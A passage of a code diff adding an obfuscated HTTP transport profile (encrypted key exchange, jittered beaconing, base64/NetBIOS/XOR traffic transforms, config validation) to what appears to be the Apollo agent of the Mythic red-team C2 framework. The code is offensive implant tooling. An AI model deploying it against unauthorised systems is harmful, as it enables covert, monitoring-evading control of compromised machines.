DebugWriteLine($"[SendRecv] User-Agent (property): {request.UserAgent}"); + if (!string.IsNullOrEmpty(request.Referer)) + DebugWriteLine($"[SendRecv] Referer (property): {request.Referer}"); + if (requestBodyBytes != null && requestBodyBytes.Length > 0) + { + DebugWriteLine($"[SendRecv] Request body size: {requestBodyBytes.Length} bytes"); + } +#endif + try + { + httpResponse = (HttpWebResponse)request.GetResponse(); +#if DEBUG + DebugWriteLine($"[SendRecv] Response received: {httpResponse.StatusCode} {httpResponse.StatusDescription}"); +#endif + using (Stream responseStream = httpResponse.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(responseStream)) + { + response = reader.ReadToEnd(); + } + } + } + finally + { + httpResponse?.Close(); + } + + HandleDomainSuccess(); + + // Extract response data based on server configuration + byte[] responseBytes = ExtractResponseData(response, httpResponse, variation.Server); + + // Apply server transforms (reverse) + byte[] untransformedData = TransformChain.ApplyServerTransforms(responseBytes, variation.Server.Transforms); + + string responseString = Encoding.UTF8.GetString(untransformedData); + +#if DEBUG + try + { + var result = Serializer.Deserialize(responseString); + onResponse(result); + } + catch (Exception deserEx) + { + DebugWriteLine($"[SendRecv] Deserialization failed: {deserEx.GetType().Name}: {deserEx.Message}"); + throw; + } +#else + onResponse(Serializer.Deserialize(responseString)); +#endif + + return true; + } + catch (Exception ex) + { +#if DEBUG + DebugWriteLine($"[SendRecv] ERROR: {ex.GetType().Name}: {ex.Message}"); + DebugWriteLine($"[SendRecv] Stack: {ex.StackTrace}"); + + // Log inner exception details if present + if (ex.InnerException != null) + { + DebugWriteLine($"[SendRecv] INNER EXCEPTION: {ex.InnerException.GetType().Name}: {ex.InnerException.Message}"); + DebugWriteLine($"[SendRecv] INNER STACK: {ex.InnerException.StackTrace}"); + } + + // Log WebException details + if (ex is WebException webEx) + { + DebugWriteLine($"[SendRecv] WebException Status: {webEx.Status}"); + DebugWriteLine($"[SendRecv] WebException Response: {webEx.Response}"); + + if (webEx.Response is HttpWebResponse httpResponse) + { + DebugWriteLine($"[SendRecv] HTTP Status Code: {httpResponse.StatusCode}"); + DebugWriteLine($"[SendRecv] HTTP Status Description: {httpResponse.StatusDescription}"); + DebugWriteLine($"[SendRecv] Response Headers:"); + foreach (string headerName in httpResponse.Headers.AllKeys) + { + DebugWriteLine($"[SendRecv] {headerName}: {httpResponse.Headers[headerName]}"); + } + + // Try to read response body for additional context + try + { + using (Stream responseStream = httpResponse.GetResponseStream()) + { + if (responseStream != null) + { + using (StreamReader reader = new StreamReader(responseStream)) + { + string responseBody = reader.ReadToEnd(); + DebugWriteLine($"[SendRecv] Response body length: {responseBody.Length} chars"); + if (responseBody.Length > 0 && responseBody.Length < 500) + { + DebugWriteLine($"[SendRecv] Response body: {responseBody}"); + } + else if (responseBody.Length > 0) + { + DebugWriteLine($"[SendRecv] Response body (first 500 chars): {responseBody.Substring(0, Math.Min(500, responseBody.Length))}"); + } + } + } + } + } + catch (Exception readEx) + { + DebugWriteLine($"[SendRecv] Could not read response body: {readEx.Message}"); + } + } + + // Log request details that failed + DebugWriteLine($"[SendRecv] Failed request details:"); + DebugWriteLine($"[SendRecv] Method: {variation?.Verb ?? "unknown"}"); + DebugWriteLine($"[SendRecv] URL: {url ?? "unknown"}"); + DebugWriteLine($"[SendRecv] Message location: {variation?.Client?.Message?.Location ?? "none"}"); + DebugWriteLine($"[SendRecv] Message name: {variation?.Client?.Message?.Name ?? "none"}"); + DebugWriteLine($"[SendRecv] Transformed data length: {transformedData?.Length ?? 0} bytes"); + } +#endif + HandleDomainFailure(); + return false; + } + } + + private byte[] ExtractResponseData(string response, HttpWebResponse httpResponse, ServerConfig serverConfig) + { + // Check if server transforms include prepend/append that wrap encoded data + // This helps extract the actual payload from JSON/HTML wrappers + if (serverConfig?.Transforms != null && serverConfig.Transforms.Count > 0) + { + // Find prepend and append transforms + string prependValue = null; + string appendValue = null; + bool hasEncodingTransforms = false; + + foreach (var transform in serverConfig.Transforms) + { + if (transform.Action?.ToLower() == "prepend" && !string.IsNullOrEmpty(transform.Value)) + { + prependValue = transform.Value; + } + else if (transform.Action?.ToLower() == "append" && !string.IsNullOrEmpty(transform.Value)) + { + appendValue = transform.Value; + } + else if (transform.Action?.ToLower() == "base64" || + transform.Action?.ToLower() == "base64url" || + transform.Action?.ToLower() == "netbios" || + transform.Action?.ToLower() == "netbiosu") + { + hasEncodingTransforms = true; + } + } + + // If we have prepend/append wrapping encoded data, try to extract the inner portion + if (prependValue != null || appendValue != null) + { + // For JSON/HTML wrappers, we need to extract the encoded portion + // The encoded data is typically between the prepend and append values + string extractedData = response; + + // Try to find and extract the encoded portion + if (prependValue != null && extractedData.StartsWith(prependValue)) + { + extractedData = extractedData.Substring(prependValue.Length); + } + + if (appendValue != null && extractedData.EndsWith(appendValue)) + { + extractedData = extractedData.Substring(0, extractedData.Length - appendValue.Length); + } + + // If we successfully extracted something different, use it + // Otherwise fall back to full response (might be a different pattern) + if (extractedData != response && extractedData.Length > 0) + { + return Encoding.UTF8.GetBytes(extractedData); + } + } + } + + // Default: return entire response body as bytes + // This works when transforms don't wrap the data, or when extraction above didn't work + return Encoding.UTF8.GetBytes(response); + } + + public bool Connect() + { + return true; + } + + public bool IsConnected() + { + return Connected; + } + + public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) + { + // Httpx profile uses EKE (Encrypted Key Exchange) as per Mythic documentation + // https://docs.mythic-c2.net/customizing/payload-type-development/create_tasking/agent-side-coding/initial-checkin + + if (EncryptedExchangeCheck && !_uuidNegotiated) + { +#if DEBUG + DebugWriteLine("[Connect] EKE: Starting RSA handshake (4096-bit)"); +#endif + + // Generate RSA keypair - 4096 bit as per Mythic spec + rsa = Agent.GetApi().NewRSAKeyPair(4096); + + // Create EKE handshake message with RSA public key + EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() + { + Action = "staging_rsa", + PublicKey = rsa.ExportPublicKey(), + SessionID = rsa.SessionId + }; + + // Send handshake with current serializer (uses payloadUUID + embedded AES key) + if (!SendRecv(handshake1, delegate(EKEHandshakeResponse respHandshake) + { + // Decrypt the session key using our RSA private key + byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); + + // Update serializer with new session key and tempUUID + ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); + ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); + Agent.SetUUID(respHandshake.UUID); + +#if DEBUG + DebugWriteLine($"[Connect] EKE: Handshake complete, tempUUID: {respHandshake.UUID}, session key received"); +#endif + return true; + })) + { +#if DEBUG + DebugWriteLine("[Connect] EKE: Handshake failed"); +#endif + return false; + } + + // DON'T set _uuidNegotiated = true here! + // We need to wait for the checkin response to get the final callbackUUID + } + + // Send checkin message (after EKE handshake if applicable) + return SendRecv(checkinMsg, delegate (MessageResponse mResp) + { + Connected = true; + + // Always update to the final callbackUUID from checkin response + // This happens whether we did EKE (tempUUID → callbackUUID) or not (payloadUUID → callbackUUID) + ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); + Agent.SetUUID(mResp.ID); + _uuidNegotiated = true; + +#if DEBUG + DebugWriteLine($"[Connect] Checkin complete, callbackUUID: {mResp.ID}"); +#endif + return onResp(mResp); + }); + } + + public int GetSleepTime() + { + // Use runtime-changeable values instead of static ones + int sleepInterval = _currentSleepInterval; + double jitter = _currentJitterInt / 100.0; // Convert back to double + + if (jitter > 0) + { + double jitterAmount = sleepInterval * (jitter / 100.0); + double jitterVariation = (Random.NextDouble() - 0.5) * 2 * jitterAmount; + return (int)(sleepInterval + jitterVariation); + } + return sleepInterval; + } + + /// + /// Update sleep interval and jitter at runtime (called by sleep command) + /// + public void UpdateSleepSettings(int interval, double jitter) + { + if (interval >= 0) + { + _currentSleepInterval = interval; + } + if (jitter >= 0) + { + _currentJitterInt = (int)(jitter * 100); // Store as int + } + } + + public void SetConnected(bool connected) + { + Connected = connected; + } + + // IC2Profile interface implementations + public void Start() + { +#if DEBUG + DebugWriteLine("[Start] HttpxProfile.Start() called - beginning main loop"); +#endif + + // Set the agent's sleep interval and jitter from profile settings + Agent.SetSleep(CallbackInterval, CallbackJitter); + + bool first = true; + while(Agent.IsAlive()) + { +#if DEBUG + if (first) + { + DebugWriteLine("[Start] First iteration - attempting initial checkin"); + first = false; + } + DebugWriteLine("[Start] Beginning GetTasking call"); +#endif + + bool bRet = GetTasking(resp => + { +#if DEBUG + DebugWriteLine($"[Start] GetTasking callback received response"); + DebugWriteLine($"[Start] Processing message response via TaskManager"); +#endif + return Agent.GetTaskManager().ProcessMessageResponse(resp); + }); + +#if DEBUG + DebugWriteLine($"[Start] GetTasking returned: {bRet}"); +#endif + + if (!bRet) + { +#if DEBUG + DebugWriteLine("[Start] GetTasking returned false, breaking loop"); +#endif + break; + } + +#if DEBUG + DebugWriteLine("[Start] Calling Agent.Sleep()"); +#endif + Agent.Sleep(); + } + +#if DEBUG + DebugWriteLine("[Start] Main loop ended"); +#endif + } + + // NOTE: GetTasking sends a TaskingMessage to Mythic and processes the response via ProcessMessageResponse. + + private bool GetTasking(OnResponse onResp) => Agent.GetTaskManager().CreateTaskingMessage(msg => SendRecv(msg, onResp)); + + public bool IsOneWay() => false; + + public bool Send(IMythicMessage message) => throw new Exception("HttpxProfile does not support Send only."); + + public bool Recv(MessageType mt, OnResponse onResp) => throw new NotImplementedException("HttpxProfile does not support Recv only."); + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj new file mode 100644 index 00000000..0467d01e --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj @@ -0,0 +1,17 @@ + + + + net451 + HttpxProfile + HttpxTransport + Library + false + + + + + + + + + diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs new file mode 100644 index 00000000..ed402ca4 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -0,0 +1,339 @@ +using System; +using System.Collections.Generic; +using System.Text; +using Newtonsoft.Json; + +namespace HttpxTransform +{ + /// + /// Configuration classes for httpx malleable profiles + /// Based on httpx/C2_Profiles/httpx/httpx/c2functions/builder.go structures + /// + public class TransformConfig + { + [JsonProperty("action")] + public string Action { get; set; } + + [JsonProperty("value")] + public string Value { get; set; } + } + + public class MessageConfig + { + [JsonProperty("location")] + public string Location { get; set; } + + [JsonProperty("name")] + public string Name { get; set; } + } + + public class ClientConfig + { + [JsonProperty("headers")] + public Dictionary Headers { get; set; } + + [JsonProperty("parameters")] + public Dictionary Parameters { get; set; } + + [JsonProperty("domain_specific_headers")] + public Dictionary> DomainSpecificHeaders { get; set; } + + [JsonProperty("message")] + public MessageConfig Message { get; set; } + + [JsonProperty("transforms")] + public List Transforms { get; set; } + + public ClientConfig() + { + Headers = new Dictionary(); + Parameters = new Dictionary(); + DomainSpecificHeaders = new Dictionary>(); + Message = new MessageConfig(); + Transforms = new List(); + } + } + + public class ServerConfig + { + [JsonProperty("headers")] + public Dictionary Headers { get; set; } + + [JsonProperty("transforms")] + public List Transforms { get; set; } + + public ServerConfig() + { + Headers = new Dictionary(); + Transforms = new List(); + } + } + + public class VariationConfig + { + [JsonProperty("verb")] + public string Verb { get; set; } + + [JsonProperty("uris")] + public List Uris { get; set; } + + [JsonProperty("client")] + public ClientConfig Client { get; set; } + + [JsonProperty("server")] + public ServerConfig Server { get; set; } + + public VariationConfig() + { + Uris = new List(); + Client = new ClientConfig(); + Server = new ServerConfig(); + } + } + + public class HttpxConfig + { + [JsonProperty("name")] + public string Name { get; set; } + + [JsonProperty("get")] + public VariationConfig Get { get; set; } + + [JsonProperty("post")] + public VariationConfig Post { get; set; } + + public HttpxConfig() + { + Get = new VariationConfig(); + Post = new VariationConfig(); + } + + /// + /// Get variation configuration by HTTP method name (case-insensitive) + /// Only supports GET and POST methods + /// + public VariationConfig GetVariation(string method) + { + if (string.IsNullOrEmpty(method)) + return null; + + switch (method.ToLower()) + { + case "get": return Get; + case "post": return Post; + default: return null; + } + } + + /// + /// Check if a variation is actually configured (has verb, URIs, or meaningful config) + /// + public bool IsVariationConfigured(VariationConfig variation) + { + if (variation == null) + return false; + + return !string.IsNullOrEmpty(variation.Verb) || + (variation.Uris != null && variation.Uris.Count > 0) || + (variation.Client != null && ( + (variation.Client.Headers != null && variation.Client.Headers.Count > 0) || + (variation.Client.Parameters != null && variation.Client.Parameters.Count > 0) || + (variation.Client.Transforms != null && variation.Client.Transforms.Count > 0) || + (variation.Client.Message != null && !string.IsNullOrEmpty(variation.Client.Message.Location)) + )) || + (variation.Server != null && ( + (variation.Server.Headers != null && variation.Server.Headers.Count > 0) || + (variation.Server.Transforms != null && variation.Server.Transforms.Count > 0) + )); + } + + /// + /// Get a configured variation by HTTP method name, returns null if not configured + /// + public VariationConfig GetConfiguredVariation(string method) + { + var variation = GetVariation(method); + return IsVariationConfigured(variation) ? variation : null; + } + + /// + /// Load configuration from JSON string + /// + public static HttpxConfig FromJson(string json) + { + try + { + return JsonConvert.DeserializeObject(json); + } + catch (Exception ex) + { + throw new ArgumentException($"Failed to parse httpx configuration: {ex.Message}", ex); + } + } + + /// + /// Load configuration from embedded resource + /// + public static HttpxConfig FromResource(string resourceName) + { + try + { + var assembly = System.Reflection.Assembly.GetExecutingAssembly(); + using (var stream = assembly.GetManifestResourceStream(resourceName)) + { + if (stream == null) + throw new ArgumentException($"Resource '{resourceName}' not found"); + + using (var reader = new System.IO.StreamReader(stream)) + { + string json = reader.ReadToEnd(); + return FromJson(json); + } + } + } + catch (Exception ex) + { + throw new ArgumentException($"Failed to load httpx configuration from resource '{resourceName}': {ex.Message}", ex); + } + } + + /// + /// Validate configuration + /// + public void Validate() + { + if (string.IsNullOrEmpty(Name)) + throw new ArgumentException("Configuration name is required"); + + // At least GET or POST must be configured + bool hasGet = Get?.Uris != null && Get.Uris.Count > 0; + bool hasPost = Post?.Uris != null && Post.Uris.Count > 0; + + if (!hasGet && !hasPost) + throw new ArgumentException("At least GET or POST URIs are required"); + + // Validate message locations + var validLocations = new[] { "cookie", "query", "header", "body", "" }; + + // Validate transform actions + var validActions = new[] { "base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append" }; + + // Validate all configured HTTP methods (only GET and POST are supported) + var variations = new Dictionary + { + { "GET", Get }, + { "POST", Post } + }; + + foreach (var kvp in variations) + { + var method = kvp.Key; + var variation = kvp.Value; + + if (variation == null) continue; // Method not configured, skip validation + + // Check if method is actually configured (has verb set or has URIs) + // If neither, it's just a default initialized object and should be skipped + bool isConfigured = !string.IsNullOrEmpty(variation.Verb) || + (variation.Uris != null && variation.Uris.Count > 0) || + (variation.Client != null && ( + (variation.Client.Headers != null && variation.Client.Headers.Count > 0) || + (variation.Client.Parameters != null && variation.Client.Parameters.Count > 0) || + (variation.Client.Transforms != null && variation.Client.Transforms.Count > 0) || + (variation.Client.Message != null && !string.IsNullOrEmpty(variation.Client.Message.Location)) + )) || + (variation.Server != null && ( + (variation.Server.Headers != null && variation.Server.Headers.Count > 0) || + (variation.Server.Transforms != null && variation.Server.Transforms.Count > 0) + )); + + if (!isConfigured) continue; // Method not actually configured, skip validation + + // Validate URIs + if (variation.Uris == null || variation.Uris.Count == 0) + throw new ArgumentException($"{method} URIs are required if {method} method is configured"); + + // Validate message location + if (variation.Client?.Message != null) + { + if (!Array.Exists(validLocations, loc => loc == variation.Client.Message.Location)) + throw new ArgumentException($"Invalid {method} message location: {variation.Client.Message.Location}"); + + // Message name is required when location is not "body" or empty string + string location = variation.Client.Message.Location?.ToLower() ?? ""; + if (location != "body" && location != "") + { + if (string.IsNullOrEmpty(variation.Client.Message.Name)) + throw new ArgumentException($"Missing name for {method} variation location '{variation.Client.Message.Location}'. Message name is required when location is 'cookie', 'query', or 'header'."); + } + } + + // Validate client transforms + foreach (var transform in variation.Client?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid {method} client transform action: {transform.Action}"); + + // Prepend/append transforms are not allowed when message location is "query" + // The query parameter name is handled separately, and prepend/append would corrupt the data + // when the server extracts only the query value (without the parameter name) + string transformAction = transform.Action?.ToLower(); + if (variation.Client?.Message != null && + variation.Client.Message.Location?.ToLower() == "query" && + (transformAction == "prepend" || transformAction == "append")) + { + throw new ArgumentException( + $"{method} client transforms cannot use '{transform.Action}' when message location is 'query'. " + + "Prepend/append transforms corrupt query parameter values because the server extracts only the parameter value " + + "(without the parameter name), causing transform mismatches. Use prepend/append only for 'body', 'header', or 'cookie' locations."); + } + } + + // Validate server transforms + foreach (var transform in variation.Server?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid {method} server transform action: {transform.Action}"); + } + + // Validate encoding consistency: client and server must use matching base64/base64url encoding + // Find the last encoding transform in client transforms (base64 or base64url) + string clientEncoding = null; + if (variation.Client?.Transforms != null) + { + foreach (var transform in variation.Client.Transforms) + { + string action = transform.Action?.ToLower(); + if (action == "base64" || action == "base64url") + { + clientEncoding = action; + } + } + } + + // Find the first encoding transform in server transforms (base64 or base64url) + // Server transforms are applied in reverse order, so we check from the end + string serverEncoding = null; + if (variation.Server?.Transforms != null) + { + // Check transforms in reverse order (as they're applied) + for (int i = variation.Server.Transforms.Count - 1; i >= 0; i--) + { + string action = variation.Server.Transforms[i].Action?.ToLower(); + if (action == "base64" || action == "base64url") + { + serverEncoding = action; + break; // Found the first encoding transform (last in list, first applied) + } + } + } + + // If both client and server have encoding transforms, they must match + if (clientEncoding != null && serverEncoding != null && clientEncoding != serverEncoding) + { + throw new ArgumentException($"{method} encoding mismatch: client uses {clientEncoding} but server uses {serverEncoding}. Client and server encoding transforms must match."); + } + } + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj new file mode 100644 index 00000000..571edade --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj @@ -0,0 +1,16 @@ + + + + net451 + HttpxTransform + HttpxTransform + Library + false + + + + + + + + diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs new file mode 100644 index 00000000..71fa8792 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs @@ -0,0 +1,192 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace HttpxTransform +{ + /// + /// Apply transform sequences for httpx profile message obfuscation + /// + public static class TransformChain + { + /// + /// Apply client transforms to outgoing data + /// + public static byte[] ApplyClientTransforms(byte[] data, List transforms) + { + if (transforms == null || transforms.Count == 0) return data; + + byte[] result = data; + + // Apply transforms in order + foreach (var transform in transforms) + { + result = ApplyTransform(result, transform.Action, transform.Value); + } + + return result; + } + + /// + /// Apply server transforms to incoming data (reverse order) + /// + public static byte[] ApplyServerTransforms(byte[] data, List transforms) + { + if (transforms == null || transforms.Count == 0) return data; + + byte[] result = data; + + // Apply transforms in reverse order + for (int i = transforms.Count - 1; i >= 0; i--) + { + var transform = transforms[i]; + result = ApplyReverseTransform(result, transform.Action, transform.Value); + } + + return result; + } + + /// + /// Apply a single transform + /// + private static byte[] ApplyTransform(byte[] data, string action, string value) + { + if (string.IsNullOrEmpty(action)) return data; + + switch (action.ToLower()) + { + case "base64": + return Transforms.Base64Encode(data); + + case "base64url": + return Transforms.Base64UrlEncode(data); + + case "netbios": + return Transforms.NetBiosEncode(data); + + case "netbiosu": + return Transforms.NetBiosUEncode(data); + + case "xor": + return Transforms.XorTransform(data, value); + + case "prepend": + return Transforms.PrependTransform(data, value); + + case "append": + return Transforms.AppendTransform(data, value); + + default: + return data; // Unknown transform, return original + } + } + + /// + /// Apply a single reverse transform + /// + private static byte[] ApplyReverseTransform(byte[] data, string action, string value) + { + if (string.IsNullOrEmpty(action)) return data; + + switch (action.ToLower()) + { + case "base64": + return Transforms.Base64Decode(data); + + case "base64url": + return Transforms.Base64UrlDecode(data); + + case "netbios": + return Transforms.NetBiosDecode(data); + + case "netbiosu": + return Transforms.NetBiosUDecode(data); + + case "xor": + return Transforms.XorTransform(data, value); // XOR is symmetric + + case "prepend": + return Transforms.StripPrepend(data, value); + + case "append": + return Transforms.StripAppend(data, value); + + default: + return data; // Unknown transform, return original + } + } + + /// + /// Build HTTP headers string from dictionary + /// + public static string BuildHeaders(Dictionary headers) + { + if (headers == null || headers.Count == 0) return ""; + + var headerLines = new List(); + foreach (var header in headers) + { + headerLines.Add($"{header.Key}: {header.Value}"); + } + + return string.Join("\r\n", headerLines) + "\r\n"; + } + + /// + /// Build query parameters string + /// + public static string BuildQueryParameters(Dictionary parameters) + { + if (parameters == null || parameters.Count == 0) return ""; + + var paramPairs = new List(); + foreach (var param in parameters) + { + paramPairs.Add($"{Uri.EscapeDataString(param.Key)}={Uri.EscapeDataString(param.Value)}"); + } + + return string.Join("&", paramPairs); + } + + /// + /// Build cookie string from headers + /// + public static string ExtractCookieValue(string cookieHeader, string cookieName) + { + if (string.IsNullOrEmpty(cookieHeader) || string.IsNullOrEmpty(cookieName)) + return ""; + + var cookies = cookieHeader.Split(';'); + foreach (var cookie in cookies) + { + var trimmed = cookie.Trim(); + if (trimmed.StartsWith(cookieName + "=")) + { + return trimmed.Substring(cookieName.Length + 1); + } + } + + return ""; + } + + /// + /// Extract header value from response headers + /// + public static string ExtractHeaderValue(string headers, string headerName) + { + if (string.IsNullOrEmpty(headers) || string.IsNullOrEmpty(headerName)) + return ""; + + var lines = headers.Split(new[] { "\r\n", "\n" }, StringSplitOptions.None); + foreach (var line in lines) + { + if (line.StartsWith(headerName + ":", StringComparison.OrdinalIgnoreCase)) + { + return line.Substring(headerName.Length + 1).Trim(); + } + } + + return ""; + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs new file mode 100644 index 00000000..d8e88259 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs @@ -0,0 +1,233 @@ +using System; +using System.Text; +using System.Collections.Generic; + +namespace HttpxTransform +{ + /// + /// Core transform functions for httpx profile message obfuscation + /// Based on httpx/C2_Profiles/httpx/httpx/c2functions/transforms.go + /// + public static class Transforms + { + /// + /// Base64 encode data + /// + public static byte[] Base64Encode(byte[] data) + { + return Encoding.UTF8.GetBytes(Convert.ToBase64String(data)); + } + + /// + /// Base64 decode data + /// + public static byte[] Base64Decode(byte[] data) + { + try + { + return Convert.FromBase64String(Encoding.UTF8.GetString(data)); + } + catch + { + return data; // Return original if decode fails + } + } + + /// + /// Base64 URL encode data (URL-safe base64) + /// + public static byte[] Base64UrlEncode(byte[] data) + { + string base64 = Convert.ToBase64String(data); + base64 = base64.Replace('+', '-').Replace('/', '_').TrimEnd('='); + return Encoding.UTF8.GetBytes(base64); + } + + /// + /// Base64 URL decode data + /// + public static byte[] Base64UrlDecode(byte[] data) + { + try + { + string base64 = Encoding.UTF8.GetString(data); + base64 = base64.Replace('-', '+').Replace('_', '/'); + + // Add padding if needed + switch (base64.Length % 4) + { + case 2: base64 += "=="; break; + case 3: base64 += "="; break; + } + + return Convert.FromBase64String(base64); + } + catch + { + return data; // Return original if decode fails + } + } + + /// + /// NetBIOS encode data (lowercase) + /// Split each byte into two nibbles, add 0x61 ('a') + /// + public static byte[] NetBiosEncode(byte[] data) + { + byte[] output = new byte[data.Length * 2]; + for (int i = 0; i < data.Length; i++) + { + byte right = (byte)((data[i] & 0x0F) + 0x61); + byte left = (byte)(((data[i] & 0xF0) >> 4) + 0x61); + output[i * 2] = left; + output[i * 2 + 1] = right; + } + return output; + } + + /// + /// NetBIOS decode data (lowercase) + /// + public static byte[] NetBiosDecode(byte[] data) + { + if (data.Length % 2 != 0) return data; // Invalid length + + byte[] output = new byte[data.Length / 2]; + for (int i = 0; i < output.Length; i++) + { + byte left = (byte)((data[i * 2] - 0x61) << 4); + byte right = (byte)(data[i * 2 + 1] - 0x61); + output[i] = (byte)(left | right); + } + return output; + } + + /// + /// NetBIOS encode data (uppercase) + /// Split each byte into two nibbles, add 0x41 ('A') + /// + public static byte[] NetBiosUEncode(byte[] data) + { + byte[] output = new byte[data.Length * 2]; + for (int i = 0; i < data.Length; i++) + { + byte right = (byte)((data[i] & 0x0F) + 0x41); + byte left = (byte)(((data[i] & 0xF0) >> 4) + 0x41); + output[i * 2] = left; + output[i * 2 + 1] = right; + } + return output; + } + + /// + /// NetBIOS decode data (uppercase) + /// + public static byte[] NetBiosUDecode(byte[] data) + { + if (data.Length % 2 != 0) return data; // Invalid length + + byte[] output = new byte[data.Length / 2]; + for (int i = 0; i < output.Length; i++) + { + byte left = (byte)((data[i * 2] - 0x41) << 4); + byte right = (byte)(data[i * 2 + 1] - 0x41); + output[i] = (byte)(left | right); + } + return output; + } + + /// + /// XOR transform data with key + /// + public static byte[] XorTransform(byte[] data, string key) + { + if (string.IsNullOrEmpty(key)) return data; + + byte[] keyBytes = Encoding.UTF8.GetBytes(key); + byte[] output = new byte[data.Length]; + + for (int i = 0; i < data.Length; i++) + { + output[i] = (byte)(data[i] ^ keyBytes[i % keyBytes.Length]); + } + + return output; + } + + /// + /// Prepend data with value + /// + public static byte[] PrependTransform(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + byte[] output = new byte[valueBytes.Length + data.Length]; + + Array.Copy(valueBytes, 0, output, 0, valueBytes.Length); + Array.Copy(data, 0, output, valueBytes.Length, data.Length); + + return output; + } + + /// + /// Strip prepended data + /// + public static byte[] StripPrepend(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + if (data.Length < valueBytes.Length) return data; + + // Check if data starts with the value + for (int i = 0; i < valueBytes.Length; i++) + { + if (data[i] != valueBytes[i]) return data; + } + + byte[] output = new byte[data.Length - valueBytes.Length]; + Array.Copy(data, valueBytes.Length, output, 0, output.Length); + + return output; + } + + /// + /// Append data with value + /// + public static byte[] AppendTransform(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + byte[] output = new byte[data.Length + valueBytes.Length]; + + Array.Copy(data, 0, output, 0, data.Length); + Array.Copy(valueBytes, 0, output, data.Length, valueBytes.Length); + + return output; + } + + /// + /// Strip appended data + /// + public static byte[] StripAppend(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + if (data.Length < valueBytes.Length) return data; + + // Check if data ends with the value + for (int i = 0; i < valueBytes.Length; i++) + { + if (data[data.Length - valueBytes.Length + i] != valueBytes[i]) return data; + } + + byte[] output = new byte[data.Length - valueBytes.Length]; + Array.Copy(data, 0, output, 0, output.Length); + + return output; + } + } +} diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 1826300b..3ce99362 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -10,9 +10,128 @@ import shutil import json import pathlib +import hashlib +import toml from mythic_container.MythicRPC import * +def validate_httpx_config(config_data): + """ + Validate httpx configuration to match C# HttpxConfig.Validate() logic. + Returns None if valid, error message string if invalid. + """ + valid_locations = ["cookie", "query", "header", "body", ""] + valid_actions = ["base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append"] + + # Check name is required + if not config_data.get("name"): + return "Configuration name is required" + + # Check at least GET or POST must be configured + get_config = config_data.get("get", {}) + post_config = config_data.get("post", {}) + + get_uris = get_config.get("uris", []) + post_uris = post_config.get("uris", []) + + if not get_uris and not post_uris: + return "At least GET or POST URIs are required" + + # Validate each configured method (GET and POST only) + variations = { + "GET": get_config, + "POST": post_config + } + + for method, variation in variations.items(): + if not variation: + continue + + # Check if method is actually configured + is_configured = ( + variation.get("verb") or + (variation.get("uris") and len(variation.get("uris", [])) > 0) or + (variation.get("client") and ( + (variation["client"].get("headers") and len(variation["client"].get("headers", {})) > 0) or + (variation["client"].get("parameters") and len(variation["client"].get("parameters", {})) > 0) or + (variation["client"].get("transforms") and len(variation["client"].get("transforms", [])) > 0) or + variation["client"].get("message", {}).get("location") + )) or + (variation.get("server") and ( + (variation["server"].get("headers") and len(variation["server"].get("headers", {})) > 0) or + (variation["server"].get("transforms") and len(variation["server"].get("transforms", [])) > 0) + )) + ) + + if not is_configured: + continue + + # Validate URIs + uris = variation.get("uris", []) + if not uris or len(uris) == 0: + return f"{method} URIs are required if {method} method is configured" + + # Validate message location and name + client = variation.get("client", {}) + message = client.get("message", {}) + if message: + location = message.get("location", "") + if location not in valid_locations: + return f"Invalid {method} message location: {location}" + + # Message name is required when location is not "body" or empty string + if location and location != "body": + if not message.get("name"): + return f"Missing name for {method} variation location '{location}'. Message name is required when location is 'cookie', 'query', or 'header'." + + # Validate client transforms + client_transforms = client.get("transforms", []) + for transform in client_transforms: + action = transform.get("action", "").lower() + if action not in valid_actions: + return f"Invalid {method} client transform action: {transform.get('action')}" + + # Prepend/append transforms are not allowed when message location is "query" + if message.get("location", "").lower() == "query" and action in ["prepend", "append"]: + return ( + f"{method} client transforms 